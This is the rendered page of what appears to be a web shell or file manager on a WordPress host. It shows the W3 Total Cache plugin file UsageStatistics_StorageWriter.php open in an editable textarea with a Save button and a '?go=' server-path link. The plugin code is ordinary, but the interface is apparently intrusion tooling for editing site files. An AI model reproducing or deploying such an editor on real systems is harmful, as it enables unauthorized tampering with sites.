<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: UsageStatistics_StorageWriter.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;

/**
 * Manages data statistics.
 * Metrics:
 *
 */
class UsageStatistics_StorageWriter {
	private $slot_interval_seconds;
	private $slots_count;
	private $keep_history_interval_seconds;

	private $cache_storage;

	/**
	 * Cached values, just keep state between calls
	 */
	private $hotspot_endtime;
	private $new_hotspot_endtime = 0;
	private $now;

	/**
	 * begin_ sets the state what should it perform later
	 * finish reacts to that state and finishes flushing
	 * values:
	 *   not_needed - no flushinig required now
	 *   require_db - database access has to be available to decide
	 *   flushing_began_by_cache - that process has been selected to
	 *     flush hotspot data based on cache data state, still that has to be
	 *     verified in database
	 */
	private $flush_state;


	public function __construct() {
		$this-&gt;cache_storage = Dispatcher::get_usage_statistics_cache();

		$c = Dispatcher::config();
		$this-&gt;slot_interval_seconds = $c-&gt;get_integer( 'stats.slot_seconds' );

		$this-&gt;keep_history_interval_seconds =
			$c-&gt;get_integer( 'stats.slots_count' ) *
			$this-&gt;slot_interval_seconds;
		$this-&gt;slots_count = $c-&gt;get_integer( 'stats.slots_count' );
	}


	public function reset() {
		if ( !is_null( $this-&gt;cache_storage ) ) {
			$this-&gt;cache_storage-&gt;set( 'hotspot_endtime', 
			array( 'content' =&gt; 0 ) );
		}

		update_site_option( 'w3tc_stats_hotspot_start', time() );
		update_site_option( 'w3tc_stats_history', '' );
	}


	public function counter_add( $metric, $value ) {
		if ( !is_null( $this-&gt;cache_storage ) ) {
			$this-&gt;cache_storage-&gt;counter_add( $metric, $value );
		}
	}


	public function get_hotspot_end() {
		if ( is_null( $this-&gt;hotspot_endtime ) ) {
			$v = $this-&gt;cache_storage-&gt;get( 'hotspot_endtime' );
			$this-&gt;hotspot_endtime = ( isset( $v['content'] ) ? $v['content'] : 0 );
		}

		return $this-&gt;hotspot_endtime;
	}


	private function get_option_storage() {
		if ( is_multisite() )
			return new _OptionStorageWpmu();
		else
			return new _OptionStorageSingleSite();
	}


	public function maybe_flush_hotspot_data() {
		$result = $this-&gt;begin_flush_hotspot_data();
		if ( $result == 'not_needed' )
			return;

		$this-&gt;finish_flush_hotspot_data();
	}


	/**
	 * Returns if finish_* should be called.
	 * It tries to pass as litte processes as possible to
	 * flushing_begin if multiple processes come here
	 * at the same time when hotspot time ended.
	 */
	public function begin_flush_hotspot_data() {
		$hotspot_endtime = $this-&gt;get_hotspot_end();
		if ( is_null( $hotspot_endtime ) ) {
			// if cache not recognized - means nothing is cached at all
			// so stats not collected
			return 'not_needed';
		}

		$hotspot_endtime_int = (int)$hotspot_endtime;
		$this-&gt;now = time();

		if ( $hotspot_endtime_int &lt;= 0 ) {
			$this-&gt;flush_state = 'require_db';
		} elseif ( $this-&gt;now &lt; $hotspot_endtime_int ) {
			$this-&gt;flush_state = 'not_needed';
		} else {
			// rand value makes value unique for each process,
			// so as a result next replace works as a lock
			// passing only single process further
			$this-&gt;new_hotspot_endtime = $this-&gt;now + $this-&gt;slot_interval_seconds +
				( rand( 1, 9999 ) / 10000.0 );

			$succeeded = $this-&gt;cache_storage-&gt;set_if_maybe_equals( 'hotspot_endtime',
				array( 'content' =&gt; $hotspot_endtime ),
				array( 'content' =&gt; $this-&gt;new_hotspot_endtime ) );
			$this-&gt;flush_state =
				( $succeeded ? 'flushing_began_by_cache' : 'not_needed' );
		}

		return $this-&gt;flush_state;
	}


	public function finish_flush_hotspot_data() {
		$option_storage = $this-&gt;get_option_storage();

		if ( $this-&gt;flush_state == 'not_needed' )
			return;

		if ( $this-&gt;flush_state != 'require_db' &amp;&amp;
			$this-&gt;flush_state != 'flushing_began_by_cache' )
			throw new Exception( 'unknown usage stats state ' . $this-&gt;flush_state );

		// check whats there in db
		$this-&gt;hotspot_endtime = $option_storage-&gt;get_hotspot_end();
		$hotspot_endtime_int = (int)$this-&gt;hotspot_endtime;

		if ( $this-&gt;now &lt; $hotspot_endtime_int ) {
			// update cache, since there is something old/missing in cache
			$this-&gt;cache_storage-&gt;set( 'hotspot_endtime',
				array( 'content' =&gt; $this-&gt;hotspot_endtime ) );
			return;   // not neeeded really, db state after
		}
		if ( $this-&gt;new_hotspot_endtime &lt;= 0 )
			$this-&gt;new_hotspot_endtime = $this-&gt;now +
				$this-&gt;slot_interval_seconds +
				( rand( 1, 9999 ) / 10000.0 );

		if ( $hotspot_endtime_int &lt;= 0 ) {
			// no data in options, initialization
			$this-&gt;cache_storage-&gt;set( 'hotspot_endtime',
				array( 'content' =&gt; $this-&gt;new_hotspot_endtime ) );
			update_site_option( 'w3tc_stats_hotspot_start', time() );
			$option_storage-&gt;set_hotspot_end( $this-&gt;new_hotspot_endtime );
			return;
		}

		// try to become the process who makes flushing by
		// performing atomic database update

		// rand value makes value unique for each process,
		// so as a result next replace works as a lock
		// passing only single process further
		$succeeded = $option_storage-&gt;prolong_hotspot_end(
			$this-&gt;hotspot_endtime, $this-&gt;new_hotspot_endtime );
		if ( !$succeeded )
			return;

		$this-&gt;cache_storage-&gt;set( 'hotspot_endtime',
			array( 'content' =&gt; $this-&gt;new_hotspot_endtime ) );


		// flush data
		$metrics = array();
		$metrics = apply_filters( 'w3tc_usage_statistics_metrics', $metrics );

		$metric_values = array();
		$metric_values['timestamp_start'] = get_site_option( 'w3tc_stats_hotspot_start' );
		$metric_values['timestamp_end'] = $hotspot_endtime_int;

		// try to limit time between get and reset of counter value
		// to loose as small as posssible
		foreach ( $metrics as $metric ) {
			$metric_values[$metric] = $this-&gt;cache_storage-&gt;counter_get( $metric );
			$this-&gt;cache_storage-&gt;counter_set( $metric, 0 );
		}

		$metric_values = apply_filters( 'w3tc_usage_statistics_metric_values',
			$metric_values );

		$history_encoded = get_site_option( 'w3tc_stats_history' );
		$history = null;
		if ( !empty( $history_encoded ) )
			$history = json_decode( $history_encoded, true );
		if ( !is_array( $history ) )
			$history = array();

		$time_keep_border = time() - $this-&gt;keep_history_interval_seconds;

		if ( $hotspot_endtime_int &lt; $time_keep_border )
			$history = array(
				array(
					'timestamp_start' =&gt; $time_keep_border,
					'timestamp_end' =&gt; (int)$this-&gt;new_hotspot_endtime -
					$this-&gt;slot_interval_seconds - 1
				)
			);   // this was started too much time from now
		else {
			// add collected
			$history[] = $metric_values;

			// if we empty place later - fill it
			for ( ;; ) {
				$metric_values = array(
					'timestamp_start' =&gt; $metric_values['timestamp_end']
				);
				$metric_values['timestamp_end'] =
					$metric_values['timestamp_start'] + $this-&gt;slot_interval_seconds;
				if ( $metric_values['timestamp_end'] &lt; $this-&gt;now )
					$history[] = $metric_values;
				else
					break;
			}

			// make sure we have at least one value in history
			for ( ;count( $history ) &gt; $this-&gt;slots_count; ) {
				if ( !isset( $history[0]['timestamp_end'] ) ||
					$history[0]['timestamp_end'] &lt; $time_keep_border )
					array_shift( $history );
				else
					break;
			}
		}

		$history = apply_filters(
			'w3tc_usage_statistics_history_set', $history );

		update_site_option( 'w3tc_stats_hotspot_start', $this-&gt;now );
		update_site_option( 'w3tc_stats_history', json_encode( $history ) );
	}
}


/**
 * Can update option by directly incrementing current value,
 * not via get+set operation
 */
class _OptionStorageSingleSite {
	private $option_hotspot_end = 'w3tc_stats_hotspot_end';


	public function get_hotspot_end() {
		global $wpdb;

		$row = $wpdb-&gt;get_row( $wpdb-&gt;prepare(
				'SELECT option_value ' .
				'FROM ' . $wpdb-&gt;options . ' ' .
				'WHERE option_name = %s LIMIT 1',
				$this-&gt;option_hotspot_end ) );

		if ( !is_object( $row ) )
			return false;

		$v = $row-&gt;option_value;
		return $v;
	}


	public function set_hotspot_end( $new_value ) {
		update_site_option( $this-&gt;option_hotspot_end, $new_value );
	}


	/**
	 * Performs atomic update of option value
	 * from old to new value. Makes sure that only single process updates it.
	 * Only single process gets true return value when multiple tries to do that.
	 */
	public function prolong_hotspot_end( $old_value, $new_value ) {
		global $wpdb;

		$q = $wpdb-&gt;prepare(
			'UPDATE ' . $wpdb-&gt;options . ' ' .
			'SET option_value = %s ' .
			'WHERE option_name = %s AND option_value = %s', $new_value,
			$this-&gt;option_hotspot_end, $old_value );

		$result = $wpdb-&gt;query( $q );
		$succeeded = ( $result &gt; 0 );

		return $succeeded;
	}
}


/**
 * Can update option by directly incrementing current value,
 * not via get+set operation
 */
class _OptionStorageWpmu {
	private $option_hotspot_end = 'w3tc_stats_hotspot_end';


	public function get_hotspot_end() {
		global $wpdb;

		$row = $wpdb-&gt;get_row( $wpdb-&gt;prepare(
				'SELECT meta_value ' .
				'FROM ' . $wpdb-&gt;sitemeta . ' ' .
				'WHERE site_id = %d AND meta_key = %s',
				$wpdb-&gt;siteid, $this-&gt;option_hotspot_end ) );

		if ( !is_object( $row ) )
			return false;

		$v = $row-&gt;meta_value;
		return $v;
	}

	/**
	 * Performs atomic update of option value
	 * from old to new value. Makes sure that only single process updates it.
	 * Only single process gets true return value when multiple tries to do that.
	 */
	public function set_hotspot_end( $new_value ) {
		update_site_option( $this-&gt;option_hotspot_end, $new_value );
	}


	/**
	 * Performs atomic update of option value
	 * from old to new value. Makes sure that only single process updates it.
	 * Only single process gets true return value when multiple tries to do that.
	 */
	public function prolong_hotspot_end( $old_value, $new_value ) {
		global $wpdb;

		$result = $wpdb-&gt;query( $wpdb-&gt;prepare(
				'UPDATE ' . $wpdb-&gt;sitemeta . ' ' .
				'SET meta_value = %s ' .
				'WHERE site_id = %d AND meta_key = %s AND meta_value = %s',
				$new_value, $wpdb-&gt;siteid, $this-&gt;option_hotspot_end, $old_value ) );
		$succeeded = ( $result &gt; 0 );

		return $succeeded;
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache'>🔙 Back</a>